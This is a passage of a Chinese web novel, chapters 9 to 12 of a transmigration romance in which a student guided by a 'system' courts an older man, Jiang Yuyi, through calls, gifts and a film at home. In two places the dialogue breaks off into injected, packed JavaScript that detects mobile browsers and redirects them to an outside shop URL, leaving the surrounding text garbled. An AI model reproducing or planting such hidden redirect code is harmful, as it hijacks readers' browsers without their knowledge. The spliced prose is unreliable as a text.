“哥……”他喉结微微滚动,只觉自己要说的话烫嘴,“你、你的腰好、好……” “别和我说什么好细啊,自己摸着良心讲。”蒋余意忽然打断。 严舒:“……”卧槽,他怎么知道的?! 蒋余意轻啧:“你当泡小姑娘呢?” 严舒沉默,第一步就折戟沉沙,甚至没到他预料中被戳破的阶段。但想一想,他怀疑自己可能降智了—— 对哦,蒋余意完全不是纤细柔美款的gay,反而高大挺拔,成熟自持,极具男性魅力。 蒋余意笑了,特别爽朗的那种笑。 “先给我按完再玩其他吧,小朋友。” 严舒耳根红了,全身定在那里,有种不知道该怎么下手的僵硬。 他脑子嗡嗡,手本能地动起来。可能乱七八糟想得多,指腹间的触感反而愈发真实,像丝缎一样光滑、柔韧,不软绵,带点弹性。 “好了。”蒋余意懒洋洋出声,“差不多了。” 严舒一顿:“我擦掉一些油。” “嗯。” 后腰这一块的皮肤已经有点红了,像蜜糖掺了些许红樱桃汁,泛着醉人光泽,亮晶晶的。 “谢谢。”蒋余意用手臂撑起身子,可能腰被按得有点发软,最后半爬半借力地靠在枕头上。他舒服地喟叹一声,“你和谁学的手艺?” “……网上的老中医。”严舒用纸巾擦手,把东西收拾好后,两人相对而坐,谁也没说话。 蒋余意轻轻一笑:“没啦?按完就这样看我?” 严舒摸了摸鼻子,心想:你都点破了,我还能做什么? 蒋余意歪了歪头:“你过来点。” 严舒迟疑一瞬,还是慢慢探过身体。 “怕什么?”蒋余意嘴角上扬,伸手捏了下严舒的脸。 严舒没吭声,握住那只手的手腕,拽了拽,再次往前倾。 滴答、滴答、滴答……雨势渐渐平息,或许是不知何处积攒的水坑从高处掉落,水滴规律地敲击塑料板。 蒋余意直勾勾盯着严舒,像要穿透什么似的。 “再过来点。”他低低说道。 严舒心跳一点点加快,喉结缓慢地滚动。 “好……” 距离已然近得呼吸缠绕,两道灼热的气流交融。 严舒觉得该停了,两个大男人的脸贴上了未免奇怪,太gay了……唔?!他眼睛倏然睁大,一点温热擦过,脸颊的触感轻柔而迅速。 是一个很轻很轻的吻。 “按摩的谢礼。”蒋余意刮了刮严舒的下巴。 严舒眨眨眼,几秒后,耳根快速蹿红。 他移开脸,绷着声音:“不客气。” 10. 第 10 章 周末两天就这么过去了。 周一早上,蒋余意开车把严舒送回学校。昨天下午的按摩像一个信号,两人处在一种微妙的暧昧里。 严舒诡异地发现,蒋余意变得温柔了许多。 当然,也不是说对方之前很暴躁,就是吧,你能感觉到,自己待遇好像不一样—— “……待会儿好好休息一下,下午打起精神上课,不要熬夜打游戏了,早点睡觉。”下车前,蒋余意仔细叮嘱,“对了,这个给你。” “这是什么?”严舒愣了下。 “礼物。”蒋余意摸了摸他的脑袋。 严舒犹豫一下,还是接过来了:“……谢谢哥。” “我走了,拜拜。”蒋余意微笑,朝他挥手。 “拜拜。”严舒也挥了挥手。 蒋余意看着男生远处的背影,准备开车离开。忽然,男生转身跑过来。他一怔,按下车窗。 “哥——”严舒微微喘气,“你工作日一般什么时候有空?” “正常下班时间都有空。”蒋余意笑笑,“怎么了?” “如果我想和你聊天,什么时候不打扰你?”严舒凑前,“哥,你会接我电话吧?” “当然。”蒋余意给予肯定,“想打电话的话,十点以后吧。” 严舒笑容瞬间灿烂:“好,拜拜!”他两只手举起来用力挥,不断往后退,还蹦了几下。 蒋余意被逗笑,太可爱了。 回到宿舍,舍友都在午休,严舒轻手轻脚,尽量不打扰舍友。他去卫生间洗手,换了件睡衣上床了。他把那件小巧的礼物也带上去了。 盒子只有掌心大,不重,晃荡几下没什么声音。 严舒当时觉得不是贵重物品,就收了。拆开包装盒,是一个耳机。他不认识这个世界的牌子,上网搜了下,发现是一款限量的联名耳机,一万多。 严舒皱眉,按照原身的消费习惯,这不算什么,但是…… 他揉了揉眉心,还是给耳机拍了照片,发给蒋余意。 [严舒:哥,收到了!非常好看!谢谢!] [蒋余意:喜欢吗?] [严舒:喜欢!] [蒋余意:嗯,喜欢就好。] [严舒:爱心发射biubiu.jpg] 严舒把耳机收好,放在床头,无声地叹了口气。 【宿主,为什么叹气?这不是好事吗?】系统出现。 严舒:‘对我来说太贵重了,我不应该收,但按照原身的性格和消费水平,一万块没什么负担,我又不能还回去。’ 【一万?】系统歪头,【这耳机不是十万多吗?】 ‘什么?’严舒错愕。 系统指了指耳机壳的镶嵌的钻石:【这是定制款,你看,还镶钻了。】 严舒:‘……’是他眼拙了。 系统安慰:【主角受就是这种性格,喜欢就砸钱,越喜欢砸得越狠,送你贵的礼物证明很喜欢你。】 严舒嘴角微抽:‘我和他才认识了多久?’ 【但对主角受来说,十万和十块是一样的。】系统循循善诱,【说不定主角受也苦恼,不好送太贵的礼物以免唐突。】 ‘你还挺懂语言的艺术。’严舒瞥它一眼。 系统变出个小扇子,殷勤地给严舒扇风:【原主肯定觉得十万也不多,就是每个月十分之一的生活费,你收着吧。既来之则安之,我们加油,争取下次舌吻!】 ‘……’严舒像看到神经病一样,‘你自己加油,别拉我加。’ 系统幽怨地飘开。 - 严舒这段时间除了定时给蒋余意打电话,增进感情,就是努力复习,准备周五的补考,顺便研究原主的朋友圈,扮演好一个合格的“严舒”。 期间,他和蒋余意的关系称得上突飞猛进,几乎什么都能聊,偶尔还有几句骚话。想到这,他摸摸耳朵,有点尴尬,说真的,有些话听得浑身发热,怪不自在的。 但又该死的……有点上瘾。 暧昧的威力啊。 哪怕对面是个男的也不例外。 严舒每天像报备一样的消息和纸片似的飞过去,早餐吃什么、上什么课、不小心踢到石头了、跑了校园跑……各种鸡零狗碎的事都发,务必牢牢占据蒋余意的注意力,不让蒋余意想到渣攻。 可能因为工作忙,对方一般都是在某个时间点统一回的。 严舒不确定这么做是否有效果,本来他的想法是当“猎物”,但他发现蒋余意的性格不适合这种方法。对方属于你冷他更冷,你热他更热的类型。出于稳妥的考虑,严舒决定还是先把主动权握着。 “严舒!帮我拿下床上的睡衣,我忘带进来了。”舍友肖志的声音忽然从卫生间传出来。 严舒一边应好,一边去肖志床铺上拿睡衣。 “谢谢兄弟,爱你一辈子!”肖志感激涕零地伸出一只手。 严舒嘴角微抽,但下一秒,他脸色诡异——完了,现在一个男的对他说这种明显的玩笑话,他脑子第一时间闪过的是蒋余意的脸。 书是看不下去了,严舒开始走神,周末约了蒋余意出去玩,他打算周六去买个东西当上次耳机的回礼。 十多万……回什么比较合适? 突然,耳边炸开声音:“哎,严舒,周五晚上你要不要去‘韶华’社团的假面舞会?” “假面舞会?”严舒一头雾水,放下手机,“我不去,我还有……”补考。 肖志神神秘秘凑过来:“苏婉雨也去。” 苏婉雨……? 严舒努力搜寻记忆,系统给出提示:【宿主,原身之前追的人文院花。】 严舒摆手:“我不打算追了。” 肖志惊讶:“真的假的?那你之前花的钱不打水漂了?” “没事。”严舒心想原身追人是下血本送礼物了? “大气!”肖志竖起大拇指,“我要是你,肯定不舍得。你不要回来吗?” 严舒:“……”送出去的怎么可能要回来?他丢不起这脸。 他摇头:“送了就送了,只是表达好意的礼物,没要求一定要怎么样。” 肖志咋舌:“有钱人就是不一样,几十万也不当回事、不对,快一百了吧?” 严舒愣住,原主都送了些什么? 【不多,一个包包、一个项链、一双鞋,都是奢牌。】系统坐在严舒肩膀,【宿主,你看,主角受才送了你十多万的东西,你不要有压力。】 严舒沉默了,顶着肖志惊讶的目光,违心地说:“没多少,心意最重要。” 肖志开始对严舒刮目相看了,他一直知道这位舍友有钱,但没想到,还是个纯爱战神。 “真男人!”他又一声感慨。 严舒欲言又止,一时不知说什么。 ——不好意思,已经破产了,以后不会了。 …… 十点了,严舒放下笔,把复习的书合上,他对明天的补考信心十足。 他关了灯,没上床睡觉,反而出了走廊,找了块空地。他拿手机找到熟悉的号码,拨出去,响了不到三秒,接通了。 “哥!” “嗯。”蒋余意的声音偏低沉,不急不缓,“学完了?” “学完了。”严舒撑在栏杆,深夜的校园寂静,偶尔几个人走过,又匆匆离去,“今天的月亮挺圆的。” “是吗?”蒋余意起身,走到窗边,“嗯,确实。” “哥想我不?”严舒已经锻炼了一段时间,这样的话得心应手。 “你呢?”蒋余意把问题抛回去。 “唔……有一点。” “一点是多少?” “刚好够画个爱心,红色的。” 蒋余意笑了:“那我多一点,能画两个。” “别,哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438392|185002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是画一个,我们两颗心贴近就够了,三颗太拥挤了。” “哈哈,行。”蒋余意笑得更加愉快。 “哥,我想快点到周末。”严舒突然叹气。 “先考试。”蒋余意安抚,“复习好了吧?” “复习好了。” “现在A大没有毕业清考了,你的学业要上点心。”说到这里,蒋余意变得严肃起来。 “知道啦,哥,你说好多遍了。”严舒嘀咕,“比我妈还能唠叨。” 蒋余意轻啧:“说什么呢?” “我错了,哥。”严舒老实道歉,“我不应该这么说。” “你妈妈肯定是关心你,嘴巴甜一点。”蒋余意无奈。 “嗯嗯。” 大概沉默了几秒,蒋余意又问:“昨晚社团聚会好玩吗?” “啊,就吃饭什么的,没好玩不好玩的。”严舒愣了下,很快做出回答。 “几个人?” “就社团那些,十来个吧。” “喝酒没?” “一点点,不多。” “几点回来的?” 严舒回忆:“十一点多。” 蒋余意淡淡一笑:“那应该挺好玩的,一两点才记得碰手机。” 严舒立刻说:“哎,哥,我手机是没电了,不是故意不回你消息。” 蒋余意“嗯”了声:“我知道啊,没怪你。” 你还不怪?严舒心里想,就差指着鼻子说我不上心了。 “我中午给哥发的消息,到现在都没回我。”他故意用不悦的语气,试图找新账覆盖,“你有别的弟弟要聊?” 蒋余意轻笑:“是呀,聊挺好的,可惜那个弟弟昨天晾了我一晚上。没事干的时候,天天在微信上哥哥哥,回慢了就开始轰炸,但有人陪着玩了,就把我忘得一干二净。” 严舒摸摸鼻子:“他真混蛋,哥哥,我不一样,我无时无刻不记挂着哥哥。” “那以后我都和你聊了。”蒋余意长长地“哦”了一声,“不和那个弟弟聊了。” “嗯嗯,非常正确。” 蒋余意啧了声:“小没良心的。” 严舒只能又喊了一声哥:“我错了,原谅我呗?” 蒋余意叹了口气:“行吧,原谅你了。但下次提前和我说一声,别扔下一句晚上出去聚餐就不理人了。” “我保证,不会有下次。” “小舒,昨晚我睡觉都不踏实。”蒋余意轻轻地说,或许语气太轻,尾音拖得长,似乎带了点嗔和怨。 严舒一激灵,脱口而出:“我的错。” “半夜脑子全是一首歌循环……”蒋余意笑笑,“你知道是什么吗?” 严舒抿抿唇:“是什么?” “暧昧让人受尽委屈——”蒋余意轻声哼唱,“可太难受了。” 严舒揉了揉耳朵,他发现无论男女,只要谈情说爱,那股劲儿都特别……怎么说呢,明明蒋余意不是这种类型,但他居然觉得对方是在撒娇。 他不知道怎么接了。 像是察觉到严舒的沉默,蒋余意又自然地转了其他话题,一来一往,又聊了好一阵。等时间差不多了,两人准备挂电话。 “好了,早点睡。”蒋余意笑着说,“小舒,晚安。” “嗯,哥也早点睡,晚安。”严舒握紧手机。 说完晚安,谁也没先挂。忽然,严舒喊了一声哥,蒋余意应了。 “哥……你委屈我也心碎了,以后我一定好好爱你。” 蒋余意怔住,还没说话,那边就挂了。 “呼!”严舒深吸一口气,两只手摁住手机,眼睛死死盯着,像封印什么怪物。 他猛地打了几下自己的嘴巴,喃喃自语:“男人这嘴啊,居然能说出这么可怕的话……” ——严舒,你没救了,甜言蜜语比喝水还简单。 还会画大饼了! 11. 第 11 章 周五晚上,严舒出宿舍时带着肖志的祝福,开对方的小电驴去教学楼补考。 偌大的教室,只有三个人在埋头苦写,监考老师百无聊赖地坐在上面,四处打量。 试卷出得很简单,看来专业老师也并不想为难这些挂科的学生,反而处处送分,努力在岸边把他们捞起来。 因为都是选择题,严舒做得很快,不到半小时就写完了。他检查了两遍,确认没什么问题,就直接交了。 出了教室,一阵凉风袭来,只穿短袖有点单薄。严舒摸了摸手臂的鸡皮疙瘩,后悔没披件外套出来。 严舒骑上小电驴,风声呼呼过耳,单薄的t恤鼓囊起来。一瞬间,他好像回到自己曾经的学生时代,也是这样的夜晚,也是这样的宁静。 嗯,就有点冷。 绕过校内的岳明湖,严舒路过教师楼那边的便利超市,门口有个立牌写着:烤红薯!!! 唔?严舒扭了车头把手,转了弯,进去买了个红薯。因为买红薯的人不少,要排队,本以为几分钟的事,他耽搁了快十分钟——等红薯烤熟。 【宿主,我也要~】系统忽然飘出来。 严舒:‘……’ 他深吸一口气:‘你不早说?’ 系统可怜地对手指:【我刚看完电视剧,出来透透气,然后命运让我看见宿主买了红薯……】 严舒嘴角微抽:‘我分你一半。’ 【我还想吃紫番薯。】系统讨好一笑。 严舒:‘哪里有紫番薯?’ 【有的宿主,你去问问。】 严舒问了,还真有。 【宿主宿主,你是全世界最帅气的男人!!!】 严舒叹气,给系统又去排队了。 系统美滋滋的,给严舒放了个漂亮的小烟花。严舒挑挑眉,还是欣赏了一会儿。 这次排队快一点,严舒按照系统的要求,各买了一个紫薯和红薯。 叮——自动门打开。 “哎,婉雨,那是严舒吗?”短发女生扯了扯旁边朋友的手臂。 苏婉雨在拿果汁,闻言,抬起了头,她坠着漂亮饰品的辫子往后滑下,碰到素白长裙的蝴蝶结,轻轻晃了下。 “好像是……吧。”她看到的是背影。 “你认不出来吗?”女生有点调侃,“没道理啊,这么个大帅哥天天追我后面,我做梦都是他。” 苏婉雨微微一笑,没说什么。 女生感慨了一下,又说:“婉雨,你真不考虑一下?长得帅、出手也大方……” 苏婉雨垂下眼:“柠柠,你还有什么要买的?” “呃、没了。” “那就结账吧。” - 周六的天气不太好,断断续续地下小雨。 严舒要去给蒋余意买回礼,对此,系统极为积极,不仅帮忙约原主以前在奢牌专柜的sa,还给了诸多的参考意见。 ‘我怎么觉得你今天怪怪的?’严舒眯起眼睛,打量这个彩虹小人。 系统装乖卖萌:【什么?我就是想为宿主分担而已。】 严舒:‘不像。’ 【讨厌啦~】 严舒没再探究,到了奢侈品店,一位干练的女士迎了上来。 “欢迎光临!严先生,好久不见!” 严舒点点头,没废话,直接说:“我想看看领带和腰带。” “是自用还是送人呢?” “送人。” “大概几岁啊?” “比我大十岁左右的男性。” “好的,这边。” 严舒买东西比较快,对方推荐了几款,他觉得都挺好看的,想了下蒋余意平时的穿衣风格,保险起见,他还是选了经典不出错的搭配。 刷卡的时候,严舒心情有点微妙。虽然钱不是自己的,但刷起来莫名有些心痛。 而且……他琢磨了一下,按照自己毕业的时间,赚钱好像遥遥无期。 不行,得想个法子。 “您的卡。” 严舒回神,接过:“好的。” “严先生,您开车了吗?如果开了的话,我帮您拿过去。” 严舒:“司机在外面。” 原身因为一直没考下驾照,想开车也开不了。严舒打算找个时间把驾照考了。 砰——严舒被一个匆忙的黑影撞了下。 他微微皱眉,正要说话,对方步伐极快,几个瞬息就走远了。 严舒:“……”没礼貌的家伙。 【啊!】系统突然尖叫。 严舒莫名其妙:‘干嘛?’ 【刚刚那个是主角攻!】 严舒一顿:‘撞过来那个?’ 【嗯嗯。】 严舒停下脚步,转过身,来来往往的人流过去,俨然没有主角攻的身影了。 ‘啧,你不早说,让我看看长什么样子。’ 【我这里有照片。】 ‘不用。’严舒也没真这么好奇,‘以后会见到的。’ 【宿主怎么知道?】 ‘……’严舒无语,‘你说呢?’ 系统恍然大悟:【对哦,你要泡主角受。】 严舒:‘……’ 回去后,严舒把礼物放好,又写了一封感谢信,或者说表白信放进去。 【宿主,你越来越会说甜言蜜语了。】系统夸赞。 严舒重新弄好包装:‘我知道。’ 【其实男的也能谈,对吧,宿主?】 严舒:‘……网恋行,现实不知道。’ 系统欲言又止:【宿主,醒醒,你还没谈上呢?说什么梦话。】 严舒哽住了。 ‘大概这个意思,没说真谈上。’ 他和蒋余意确实突飞猛进,各种打岔子一样说出来的喜欢啊、爱啊,骚话连篇,活脱脱的暧昧上头期。 他像和一个虚幻的影子、想象中的幻像在玩感情。不可否认,他也悸动、他也着迷。但他自己也不能保证,真面对面了,还能不能继续。 他甚至开始担心,有一天和蒋余意上床怎么办? ——不是严舒杞人忧天,饮食男女、哦不对,饮食男男,食色性也,该发生的事,总会发生的。 当然,你说柏拉图行不行,严舒没意见,但是他觉得蒋余意恐怕不会答应…… 而严舒最害怕的情况是,对方嘴里说没事,行,实际心里偷偷破碎,然后空间也破碎了,他就等着死翘翘吧。 【宿主,你的表情有点奇怪。】系统小心翼翼地问,【怎么了?】 严舒按了按眉心,怀疑明天要和蒋余意见面了,他有点紧张,所以才会想七想八的。 ‘没事。’他顿了顿,‘你明天尽量少出现,不,你别出现,除非我叫你。’ 系统哀哀怨怨,严舒冷酷到底。 【好吧,宿主,我明天随时听你吩咐。】它假装抹了把眼泪。 严舒嘴角抽了抽,心想戏真多。 - 周日,严舒照例在校门等蒋余意,雨水打在伞面,滴滴答答。 又是雨天。 严舒没等太久,熟悉的黑色宾利从雨幕穿过,缓缓停在他面前。 “哥!”一上去,严舒就把礼物塞过去,“送你的。” 蒋余意一怔,笑着拿过来:“好,谢谢。”他把礼物放到后排,“晚点我再拆。” “哥,想我了吗?”严舒笑嘻嘻地凑过去。 蒋余意垂下眼皮,微微点头:“你呢?” “每次都这样。”严舒忽然抱住他,“哥,你就不能主动说想我吗?” 蒋余意按了按严舒的肩膀,在他耳边说:“想你。” “我超级超级想哥。”严舒热情地贴上蒋余意的脸。 蒋余意顿了下,伸手揉了揉严舒的脑袋,对方立刻朝他灿烂一笑,瞬间散去天气带来的阴霾,暖烘烘的。 “下雨可以晚点出来,下次我到了给你打电话,你再出来。” “那你得等多久。”严舒摇头,“从宿舍出来,起码十分钟。” “我在车里不碍事。” “我也有伞。”严舒没太在意。 “听话。”蒋余意放轻声音,“按我说的做,好不好?” 严舒不情不愿:“好吧。” 蒋余意又摸了一下他的头。 “长不高了——”严舒拉长声音。 蒋余意含笑:“这个身高很好了。” “我要再高点。” “行,再高点。” …… 两人约好去看电影,是一部最新上映的爱情文艺片。 选之前,蒋余意问严舒爱看什么类型电影,严舒说搞笑片,对方便列出了几个选择。 最后,严舒没在其中挑,反而自己选了一部爱情片。 蒋余意问为什么,严舒直接回答想和哥看点爱情有关的电影。 蒋余意笑了,说好。 但今天或许天公不作美,雨水瓢泼尚能忍受,地下停车场本应该遮风挡雨,没想到—— “对不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蒋余意皱眉:“以后要及时吹头发,不然寒气入脑,很容易偏头痛。” 严舒摸摸鼻子:“哥,别那么凶,眉头打死结了。” 蒋余意放缓脸色:“不是怪你,我是担心你。” “知道了,哥,我现在去。” “我拿给你。” “好。” 吹完头,严舒去找蒋余意。对方见到他,就伸手摸他头发有没有吹干,发现干了,才满意放下手。 一瞬间,严舒有点恍惚,他想:蒋余意真的很像爸爸。 不是daddy,是真的爸爸。 “我给你打了苹果汁,在外面的桌子上,你去喝了吧。”蒋余意出声。 严舒惊讶,不知道对方什么时候…… “快去。”蒋余意捏捏他的脸。 严舒压下心里的情绪,笑着说:“谢谢哥。” 客厅的灯偏暗,但落地窗的视野很好,转头就是湾海景色。 轰隆!天际电闪雷鸣,狂风暴雨愈演愈烈,落地窗挂满凌乱的水痕。 极端天气让人心情压抑。 严舒捧着那杯苹果汁发呆,一种淡淡的、无法言说的茫然涌上心头。 不知为何,他忽然没有真实感。 ——本来就如此,这是一个虚拟的世界。 “还在下雨啊……”低低的声音从后面传来。 是蒋余意。 “嗯。”严舒动了动发酸的肩膀,觉得刚才的自己真矫情,这不能说能动嘛,挺真实的,“还出去看电影吗?” 蒋余意含笑:“我家有个影院房,设施还不错,就是看不到最新上映的片子。” “那太好了,我正想看老片。”严舒立刻接话。 “好。”蒋余意坐下来,“苹果汁好喝吗?” 严舒还没喝,赶紧抿一口:“不错,酸酸甜甜。” “那今晚要不要住我家,明天我送你回学校。” “……” “怎么不说话?” “哥,好突然。”严舒指腹轻轻摸着杯底。 蒋余意扬了扬眉,笑了。 严舒被笑得不自在:“笑什么?” “笑你可爱。”蒋余意眼睛弯得更厉害。 “……”严舒不懂。 “那你留不留?” “……”严舒又犹豫了,战略性喝果汁。 蒋余意:“邀请你留宿而已,又不是邀请你上我的床,担心什么?” “咳咳、咳咳!!”严舒呛到了。 “真想上我床啊?”蒋余意惊讶。 严舒咬牙切齿:“我没有!” 蒋余意瞬间大笑:“我发现了,你是又怂又爱嘴嗨……” 严舒面无表情:“留。” ——谁怂了?反正他不怂。 等着! 12. 第 12 章 说实话,比起大清早去电影院,窝居家里的一角看电影更慵懒和舒适。 蒋余意家的大平层,整体装修偏冷峻,色调也是黑白灰几种,少有亮色,但影院房却是温馨的淡黄色,连沙发也是极为舒适的那种。 严舒有点意外,感觉影院房的风格和外面有点出入。 【因为这里承载了主角受的美好憧憬,希望有一天和主角攻能在这里看电影。】系统幽幽地说。 严舒:??? 他原本要坐下的动作一僵:‘他们也在这里看过电影?’ 系统翘起二郎腿:【没有,渣攻甚至没来过这套房。他们之前有个小房子,算他们的美好回忆吧。不过,渣攻后来去创业,就搬出去了。】 严舒沉默了。 系统:【其实主角受也很少来了。】 严舒:‘为什么?’ 系统:【这里离渣攻创业的公司挺近的,主角受买这套房子,亲自装修,基本是按照渣攻的审美,主角受本人更喜欢温暖一点的风格,比如这个影院房,算是主角受的私心,希望周末和渣攻一起看电影。现在嘛,伤心地……】 【哎,你别说,真的很巧,主角受已经几年没住这套房子,这星期因为工作偶然住了几天——】系统警铃大作,【等等,我翻翻书。】 几秒后,系统回来,充满疑惑:【好像没有这套房的剧情,但我觉得主角受来这里很容易遇上渣攻啊。算了,不管了,现在是宿主和主角受在看电影,那傻登一辈子别想进来了!】 严舒:‘……看电影这事还不简单?’ 系统:【和宿主肯定简单,但和渣攻就难了。渣攻刚和主角受在一起时,还住在校外的一间小房子,时不时就吵架冷战几个月,当然,这正合渣攻的心,他也想要避开主角受,减少相处。】 严舒:‘蒋余意没察觉?’ 系统:【主角受觉得是渣攻的性格问题,加上他工作也忙,很多时候哄一下就哐哐打钱,希望用钱解决问题。渣攻也确实缺钱,接受了,但情绪过不去,觉得很屈辱,是卖身钱。】 严舒叹气,觉得感情真折磨人。 “想看什么?”蒋余意推门进来。 “啊,我还没选。” “那先吃点水果。”蒋余意把盘子里的水果递过去,“这套房我很少过来,只有阿姨定期过来打扫。我们如果中午不出去吃的话,我让人送食材过来。你想吃什么?” “都行。” “一点都不挑?”蒋余意直接叉了一块桃子喂严舒。 严舒张嘴:“谢谢哥。不挑。” 蒋余意笑了,他打开了投影设备,室内的光线慢慢变柔和,原本暖黄的氛围消失,在灯光的晕染下,透出一点深蓝。严舒坐下去,发现头顶是闪烁的星空。 “哥,是星空。”严舒扯了扯蒋余意的衣服。 蒋余意仰头,神色微怔,过来一会儿,才低声应和:“对,星空。” ‘啧,这也太巧了吧。’严舒感慨。 【宿主,说明你和主角受有缘分。】 ‘不,是原主和他有缘分。’ 【是呀,按照原来的剧情,主角受已经和你上床了。】 严舒:‘……’ 他假装什么也听不见,系统总是冷不丁催进度,防不胜防。 蒋余意要严舒挑片子,他挑了部轻松的爱情喜剧片。 两人窝在沙发里,吃着水果,你一言我一语地讨论剧情,偶尔被同一个笑点逗得捧腹大笑,彼此相视一笑。 等到电影结束,投影屏缓缓暗下,房间的灯重新亮起来。 不知不觉间,严舒和蒋余意的肩膀紧紧相贴,脑袋凑得也近,一个侧头,谁也没说话。 “饿不饿?”蒋余意顺了顺严舒的头发。 “还好。”严舒晃了下脑袋,“吃水果顶饱。” “行,我去做饭。”蒋余意起身。既然不是很饿,就不着急出去吃,在家吃了。 “我……”严舒想起原身不会做饭,“我帮忙打下手。” 蒋余意笑笑:“会做饭吗?” “炒菜不行,但按电饭煲还是会的。” …… 严舒确实是去打下手的,蒋余意会做饭没有夸大,除了刚开始有点生疏,后面就熟练了。 “哥也挺久没做饭了吧?”严舒问。 “嗯,工作忙都是阿姨来做的,我周末偶尔会做。”蒋余意笑笑,“但都比较简单。” “好香。”严舒凑到丝瓜蛋汤,“哥加了什么?比我平常吃的香好多。” 他不是恭维,是真的香。 一道家常菜能做出不一样的感觉,挺有水平的。 “加了爱。”蒋余意随口答。 严舒:“……”不是,我真的好奇,没调情。 蒋余意朝他看了眼,勾唇一笑:“下次教你。” 严舒眨眨眼:“哦哦,好。” 蒋余意让严舒帮忙把菜端出去,又让人拿碗筷。严舒没怨言,干得特别起劲儿。等落座的时候,他发现蒋余意支着手,看他的眼神特别…… 怎么说,缠绵?严舒被自己肉麻到了。 “咳,哥,怎么了?” 蒋余意微笑:“辛苦了,试试菜好不好吃?” “我不辛苦,辛苦的是哥。”严舒让蒋余意也动筷,他夹了块鱼肉,“好吃!” 蒋余意:“嗯,试下丝瓜蛋汤吧。” 严舒也盛了半碗:“吃起来和闻起来一样好,很清甜。” 蒋余意:“丝瓜容易做得好吃。” “但哥做的不一样,不知道怎么说。”严舒说的是真话。 “你嘴巴倒是很甜。”蒋余意瞥他一眼,“那多吃点。” “我是真心的——” “我信,所以多吃嘛。”蒋余意又给他盛了。 “哎,够了哥。” “不是喜欢吗?” “其他菜我也要吃。” 蒋余意含笑,对这个答案显然满意。 吃了午饭,严舒主动去洗碗。出来后,他看见蒋余意泡了一壶茶,安安静静地坐在客厅。 两杯茶白烟袅袅,显然另一边是留给严舒坐的位置。 【完了,宿主,渣攻又阴魂不散地发消息了。】系统哀怨地出现。 严舒:‘哦,发什么了?’ 系统:【反正就是些乱七八糟的话,还说希望给一个见面的机会,看在他们这么多年感情的份上……】 严舒:‘蒋余意什么反应?’ 系统:【不知道啊,主角受神色很复杂,看完就删了。】 严舒:‘好了,我知道了。’ 严舒过去了,发现自己送的礼物盒子放在正中间。 “介意我现在拆吗?”蒋余意矜持地问。 严舒愣了几秒:“哦哦,你拆吧。” 蒋余意立刻拿过来,脸上肉眼可见的高兴。 严舒心情略微奇怪,这么……开心吗? 蒋余意拆得很细致,好像在对待易碎品。严舒很难形容这一瞬的感觉。 “领带啊……”蒋余意轻声说,“谢谢,我很喜欢。” 严舒按了按手指:“还有一个盒子。” 蒋余意:“我知道,我想先试一下它。” 严舒盯着那条领带:“可以啊。” “那我先去换件衣服。”蒋余意说着,站起来,去房间换了套西装出来。 严舒摸摸鼻子,这么隆重啊,连裤子都换了。 “哥,我帮你。” 蒋余意点头:“好。” 严舒不是第一次离蒋余意这么近,但是最紧张的一次,他将其归咎于对方始终不挪开的目光。 “好、好了。”他退后一步,“帅气。” 灰黑色的暗纹领带,适合正式场合。 蒋余意对着镜子照了下,回头笑道:“很好看,我非常喜欢。” 严舒移开脸,指着另一个礼物盒:“哥,还有。” “其实一个领带就够了,你破费了。”蒋余意认识牌子,自然知道这两样东西的基础价格不低。他拿起皮带,“这个也很好看,谢谢。” “看到合适就买了。”严舒说,“哥试试呗。” “嗯……”蒋余意见严舒盯着,忽然笑道,“要帮我换吗?” 严舒愣住:“啊,不好吧。” 蒋余意:“有什么不好?” 严舒:“……”明知故问。 蒋余意挺爱男生这模样的,那种故作镇定的害羞。 “我开玩笑。” 严舒:“我知道……” 蒋余意笑得开心。 严舒撑住下巴,撇开视线了。 蒋余意换了皮带出来,严舒往那里瞥了眼,就立刻收回目光。 “好看吗?”蒋余意问。 “哥穿什么都好看。” “是你眼光好。” “……没。” 蒋余意摸了摸领带,指尖抚过皮带上的logo,忽然开口:“谢谢,这两份礼物我都很喜欢,你有心了,也破费了。” 严舒无奈:“哥,真没什么,你也送了我礼物。” 他不明白为什么蒋余意总是道谢。 “不,也谢谢你这段时间……”蒋余意淡淡地笑,“总之,和你相处我很快乐。”他语气很平淡,眼里的情绪却极为浓烈,微微发亮。 严舒眯起眼睛,没吭声。蒋余意迟疑:“怎么了?” “哥——”严舒站起来,双臂抱住,“这听起来像你借我疗愈情伤,好得差不多准备跑了。” 蒋余意哭笑不得:“我不是这意思。” 严舒逼近:“那是什么意思?” 蒋余意轻轻摸了下他的脸:“表达对你的喜欢。” 严舒心微微跳了下,蒋余意表达感情比较内敛,偶尔热情些的话,都带点戏谑。 “只有喜欢?”严舒握住他的手腕,指腹轻轻摩挲,“我都想和哥谈了。” 蒋余意凝视:“你呢?” “哥,是我先问的。”严舒发现对方特别爱反问。 蒋余意抽回手,点了点他的心脏:“你真喜欢我?不是一时好奇?” 严舒不满,又喊了一声哥。 蒋余意做出噤声的手势,神色严肃:“小舒,同性恋不酷,我希望你想好了,再和我说这件事。如果最后想清楚了……也没关系。” 严舒:“……”不是,这发展不对啊。不是应该继续调情吗?不是你撩拨我一下,我撩拨你一下吗?怎么突然—— 他思绪翻转,忽然转身往沙发倒去,抱起手臂,埋着脸一言不发。 蒋余意愣住了,男生……发脾气? 他转到沙发另一边,试图和严舒对视。下一秒,对方头一撇,不看他。 “小舒……”蒋余意无奈,也跟着起身。 但严舒一副铁了心不想搭理人的样子,又换了个方向,硬是不和蒋余意对上。 蒋余意没法子,只能道歉:“对不起,我的问题。” “哥怎么会有问题?错的肯定是我。” 蒋余意耐着性子说:“我想你误会了,我的那些话……不是拒绝,我只是希望你再考虑一下。” 严舒面无表情:“不考虑了,我等下就回学校,以后我们不见面了。” 蒋余意措手不及:“你、你认真的?” 严舒点点头:“对。” 